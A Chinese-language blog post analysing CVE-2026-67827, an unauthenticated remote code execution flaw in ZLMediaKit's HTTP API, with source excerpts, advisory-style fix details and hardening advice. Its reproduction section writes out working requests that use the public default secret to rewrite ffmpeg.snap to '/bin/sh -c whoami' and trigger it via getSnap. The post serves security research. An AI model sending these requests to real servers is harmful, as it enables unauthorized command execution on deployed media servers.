ZLMediaKit RCE 漏洞分析(CVE-2026-67827)

发布时间:2026/9/29 4:34:49
ZLMediaKit RCE 漏洞分析(CVE-2026-67827) 本文所有分析基于官方公开源码与安全公告利用手法仅用于安全研究与授权测试请勿用于未授权目标。ZLMediaKit 是基于 C11 开发的开源、运营级高性能流媒体服务框架自带开箱即用的 MediaServer 流媒体服务器同时也可作为音视频 SDK 做二次开发国内安防、直播、WebRTC 场景用得非常多。漏洞描述其 HTTP API 存在一处未授权远程代码执行漏洞编号 CVE-2026-67827 。攻击者可未经认证以服务进程权限执行任意系统命令并直接从 HTTP 响应中读取命令输出。成因概述/index/api/setServerConfig缺少字段白名单可覆盖配置项ffmpeg.snap ffmpeg 截图命令模板该模板被FFmpegSnap::makeSnap 当作snprintf格式串渲染为命令行并经Process::run 的execv 直接执行因此改写为/bin/sh -c 命令 后调用/index/api/getSnap即触发。鉴权仅比较api.secret使用默认配置的实例命令输出经错误信息回显至 HTTP 响应。一、漏洞全流程调用链概览整条链由四个环节构成前三个是必要条件第四个决定了利用的形态。1、入口配置写入面/index/api/setServerConfig的实现是对 mINI 配置表的全量遍历凡是配置中已存在的键请求参数都可以直接覆盖没有字段白名单for (auto pr : allArgs.getArgs()) { if (ini.find(pr.first) ini.end()) { continue; // 不存在的 key 被忽略 } ini[pr.first] pr.second; // 已存在的 key 直接覆盖 changed; }ffmpeg.snapffmpeg 截图命令模板属于默认配置中已存在的键因此落在可写面内。该接口的鉴权由CHECK_SECRET()完成实现只是一次字符串比较api_secret ! allArgs[secret]而api_secret的默认值硬编码在源码中并随项目公开且127.0.0.1来源的请求完全跳过该校验。对于未修改默认配置的实例这个写入面等价于未授权。2、载荷被当作格式串使用的命令模板FFmpegSnap::makeSnap用snprintf渲染最终命令snprintf(cmd, sizeof(cmd), ffmpeg_snap.data(), File::absolutePath(, ffmpeg_bin).data(), play_url.data(), save_path.data());ffmpeg_snap既是配置值又是格式串。当写入的内容不含%s时snprintf不做任何替换配置值原样成为最终命令。这是把数据提升为可执行内容的关键一步——攻击者控制的不是某个参数而是整条命令。3、执行execv 直接拉起子进程Process::run以split(cmd, )切分命令再以execv执行首个 tokenauto params split(cmd, ); auto ret execv(params[0].c_str(), charpv_params);整个过程不经过 shell因此不存在引号解析或元字符展开argv 的分段完全由空格决定。写入/bin/sh -c payload即可让服务端派生一个 shell 进程RCE 成立。4、回显子进程日志作为响应体子进程的 stdout/stderr 被dup2重定向到 ffmpeg 日志文件。makeSnap在判定执行失败时读取该文件内容并作为err_msg传给responseSnap后者在特定条件下把err_msg直接作为响应体返回。攻击者因此可以在同一个 HTTP 响应里读到命令输出不需要额外的外带通道。5、链条成立的条件条件代码位置说明配置项即命令FFmpegSnap::makeSnap模板被当作格式串不含%s时配置值即完整命令配置可远程写setServerConfig无字段白名单已存在的键均可覆盖鉴权可绕过CHECK_SECRET/API::kSecret默认 secret 公开127.0.0.1来源免检输出可回显responseSnap失败时返回子进程日志放大器非必需任何一个必需条件不成立漏洞形态都会改变。例如管理员修改过 secret整条链在第一步即中断——这也是判断目标是否可利用的核心依据。二、漏洞复现以下测试基于自行编译的漏洞版本需具备 ffmpeg 命令行工具否则snap路径无法拉起子进程。1、确认默认 secret 是否有效GET /index/api/getMediaList?secret035c73f7-bb6b-4889-a715-d9eb2d1925cc先用getMediaList探测密钥该接口只返回当前在线流列表不带 secret 时返回鉴权错误带上 secret 后响应code:0即证明目标仍在使用出厂默认密钥。2、查看修改前的配置GET /index/api/getServerConfig?secret035c73f7-bb6b-4889-a715-d9eb2d1925ccgetServerConfig会把整个 mINI 配置以 JSON 原样返回其中既有api.secret字段本身也有利用的目标键ffmpeg.snap——改写前其值为出厂模板ffmpeg.snap: %s -i %s -y -f mjpeg -t 0.001 %s;(截图中我已经改写了命令)记下这个改前基线它证明该键当前只是一张带三个%s的截图模板同时也可用于攻击后的对比与恢复。3、写入恶意命令GET /index/api/setServerConfig?secret035c73f7-bb6b-4889-a715-d9eb2d1925ccffmpeg.snap/bin/sh%20-c%20whoami响应中changed:1表示有一个键被成功改写写入后配置立即生效无需重启进程——makeSnap每次调用都通过GET_CONFIG重新读取该值。此时再次调用getServerConfig可以看到ffmpeg.snap已变为/bin/sh -c whoami。4、触发执行并读取回显GET /index/api/getSnap?secret035c73f7-bb6b-4889-a715-d9eb2d1925ccurlrtmp://127.0.0.1/live/testtimeout_sec600expire_sec3url的取值不影响结果——命令已被替换ffmpeg 不会真的去拉这个流url只是snprintf的一个填充参数。响应体即whoami的执行结果容器化部署下通常直接返回root。三、漏洞原理分析1、为什么截图会执行配置getSnap自身不解码、不抓帧而是把截图委托给外部 ffmpeg 进程每次请求截图时启动一个 ffmpeg 子进程完成拉流、截帧与存图。指挥该进程的命令模板存放在配置项ffmpeg.snap中漏洞版本server/FFmpegSource.cpp的默认值如下namespace FFmpeg { onceToken token([]() { // ... mINI::Instance()[kSnap] %s -i %s -y -f mjpeg -t 0.001 %s; }); }三个%s依次是 ffmpeg 可执行文件路径、待截图的流地址、截图保存路径。执行位置在FFmpegSnap::makeSnapvoid FFmpegSnap::makeSnap(const string play_url, const string save_path, float timeout_sec, const onSnap cb) { GET_CONFIG(string,ffmpeg_bin,FFmpeg::kBin); GET_CONFIG(string,ffmpeg_snap,FFmpeg::kSnap); GET_CONFIG(string,ffmpeg_log,FFmpeg::kLog); ... char cmd[2048] { 0 }; // 模板即命令snprintf 把配置项当格式串填上三个参数 snprintf(cmd, sizeof(cmd), ffmpeg_snap.data(), File::absolutePath(, ffmpeg_bin).data(), play_url.data(), save_path.data()); ​ std::shared_ptrProcess process std::make_sharedProcess(); auto log_file ffmpeg_log.empty() ? ffmpeg_log : File::absolutePath(, ffmpeg_log); process-run(cmd, log_file); ... }按默认模板渲染后实际执行的命令形如/usr/bin/ffmpeg -i rtmp://127.0.0.1/live/stream -y -f mjpeg -t 0.001 ./www/snap/xxx.jpeg关键在于snprintf把ffmpeg.snap当格式串使用而该值完全来自配置。当配置值不含%s时snprintf不做任何替换——配置里写什么最终命令就是什么。因此截图这一功能在实现层面等价于执行ffmpeg.snap的内容。把命令做成可配置模板本身有正当理由不同信源需要不同的 ffmpeg 参数ffmpeg 安装路径也因环境而异。实际部署中确实存在大量自定义模板例如为 RTSP 源显式指定传输协议并改用-frames:v 1取帧bin/usr/local/bin/ffmpeg snap%s -rtsp_transport tcp -i %s -y -f mjpeg -frames:v 1 %s这样运维改配置文件即可适配新信源无需改代码重编译。问题不在于模板这一形式而在于该模板同时又是可被远程写入的配置项。2、命令是如何被拉起的一个纯空格的 execvprocess-run(cmd, log_file)把命令交给Process类执行。漏洞版本server/Process.cpp的执行逻辑非常直接static int runChildProcess(string cmd, string log_file) { ... fprintf(stderr, \r\n\r\n#### pid%d,cmd%s #####\r\n\r\n, getpid(), cmd.data()); ​ auto params split(cmd, ); // 只按空格切分 char **charpv_params new char *[params.size() 1]; for (int i 0; i (int)params.size(); i) { std::string p params[i]; charpv_params[i] (char *)p.data(); } charpv_params[params.size()] NULL; // EOF: NULL auto ret execv(params[0].c_str(), charpv_params); // execv 直接执行 ... }split的实现同样极简仅按单个空格切分并跳过空 tokenvectorstring split(const string s, const char *delim) { vectorstring ret; size_t last 0; auto index s.find(delim, last); while (index ! string::npos) { if (index - last 0) { // 跳过空 token连续空格会被折叠 ret.push_back(s.substr(last, index - last)); } last index strlen(delim); index s.find(delim, last); } if (!s.size() || s.size() - last 0) { ret.push_back(s.substr(last)); } return ret; }它不解析引号、不处理转义、不展开环境变量——、、\、;、、|都只是普通字符。这就是第二节 payload 构造约束的来源只要把ffmpeg.snap改为/bin/sh -c xxxexecv就会启动一个 shell 执行xxx。3、配置为何能被远程改写ffmpeg.snap可被改写源于setServerConfig的默认行为。漏洞版本server/WebApi.cpp//设置服务器配置 api_regist(/index/api/setServerConfig,[](API_ARGS_MAP){ CHECK_SECRET(); auto ini mINI::Instance(); int changed API::Success; for (auto pr : allArgs.getArgs()) { if (ini.find(pr.first) ini.end()) { continue; // 不存在的 key 会被忽略 } if (ini[pr.first] pr.second) { continue; } ini[pr.first] pr.second; // 已存在的 key直接覆盖 changed; } if (changed 0) { NoticeCenter::Instance().emitEvent(Broadcast::kBroadcastReloadConfig); ini.dumpFile(g_ini_file); } val[changed] changed; });语义是凡是 mINI 配置中已存在的键HTTP 请求均可直接覆盖。没有字段白名单也没有敏感配置的概念。ffmpeg.snap恰好是默认配置中的已存在键于是成为命令写入点。4、鉴权形同虚设setServerConfig与getSnap都前置了CHECK_SECRET()。该宏定义在server/WebApi.h//检查http参数中是否附带secret密钥的宏127.0.0.1的ip不检查密钥 #define CHECK_SECRET() \ if(sender.get_peer_ip() ! 127.0.0.1){ \ CHECK_ARGS(secret); \ if(api_secret ! allArgs[secret]){ \ throw AuthException(secret错误); \ } \ }校验只有一次字符串比较。而api_secret的来源在server/WebApi.cppnamespace API { static onceToken token([]() { mINI::Instance()[kSecret] 035c73f7-bb6b-4889-a715-d9eb2d1925cc; ... }); }secret 的默认值硬编码在源码中且随项目公开。按文档部署的实例大多不会修改它攻击者可以直接尝试使用默认密钥来校验。另外两点getServerConfig会原样返回api.secret可远程确认目标是否仍在使用默认值。127.0.0.1来源的请求完全跳过secret 校验。若攻击者已取得服务器本地执行能力或借助 SSRF可直接从本机调用全部 API。四、回显机制命令输出回到 HTTP 响应需要两段代码配合。第一段在makeSnap子进程 stdout/stderr 经dup2重定向至日志文件执行失败时把日志内容作为err_msg交给回调bool success process-exit_code() 0 File::fileSize(save_path.data()); cb(success, (!success !log_file.empty()) ? File::loadFile(log_file.data()) : );/bin/sh -c id不生成 jpegsuccess必然为 false日志内容被原样交给responseSnap。第二段在responseSnap是否回显日志取决于实例历史上是否成功截图过static bool s_snap_success_once false; if (!File::fileSize(snap_path.data())) { if (!err_msg.empty() (!s_snap_success_once || defaultSnap.empty())) { // 重来没截图成功过或者默认截图图片为空那么直接返回FFmpeg错误日志 headerOut[Content-Type] HttpFileManager::getContentType(.txt); invoker.responseFile(headerIn, headerOut, err_msg, false, false); return; } // 截图成功过一次那么认为配置无错误截图失败时返回预设默认图片 const_caststring (snap_path) File::absolutePath(, defaultSnap); ... }即目标实例从未成功截图过s_snap_success_once false→ 直接回显命令输出目标实例曾经成功截图过→ 回落至api.defaultSnap默认./www/logo.png返回默认图片而非输出。api.defaultSnap同样是 mINI 中已存在的键可被setServerConfig覆盖。将其置空即可强制走回显分支这是第二节第 5 步的依据。此外makeSnap会注册延时任务超时后先发SIGTERM、2 秒后再SIGKILLauto delayTask EventPollerPool::Instance().getPoller()-doDelayTask( (uint64_t)(timeout_sec * 1000 - elapsed_ms), [process, cb, log_file, save_path]() { if (process-wait(false)) { // FFmpeg进程还在运行超时就关闭它 process-kill(2000); } return 0; });反弹 shell 会长时间挂起timeout_sec过小会导致进程被直接终止也可让 payload 自行将 shell 转入后台使父进程尽快退出。五、修复建议与加固提交 79d795a72026-07-27为setServerConfig增加黑名单ffmpeg.bin与ffmpeg.snap均不可通过 API 动态修改- if (pr.first FFmpeg::kBin) { - WarnL Configuration named FFmpeg::kBin is not allowed to be set by setServerConfig api.; if (pr.first FFmpeg::kBin || pr.first FFmpeg::kSnap) { WarnL Configuration named pr.first is not allowed to be set by setServerConfig api.; continue; }自查与加固升级至修复版本或至少应用79d795a7之后的分支。强制修改api.secret不使用出厂默认值在反向代理层对/index/api/*路径做白名单鉴权。不将 HTTP API 端口容器映射的 8080 及 RTSP/RTMP 端口暴露至公网仅在受信内网开放。排查时检查www/snap/、ffmpeg/ffmpeg.log与 HTTP 响应中的异常文本命令输出会留在 ffmpeg 日志中。以最小权限运行进程容器内非 root 用户收敛/bin/sh、/bin/bash等交互 shell 的可用性降低被用于横向移动的杠杆。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询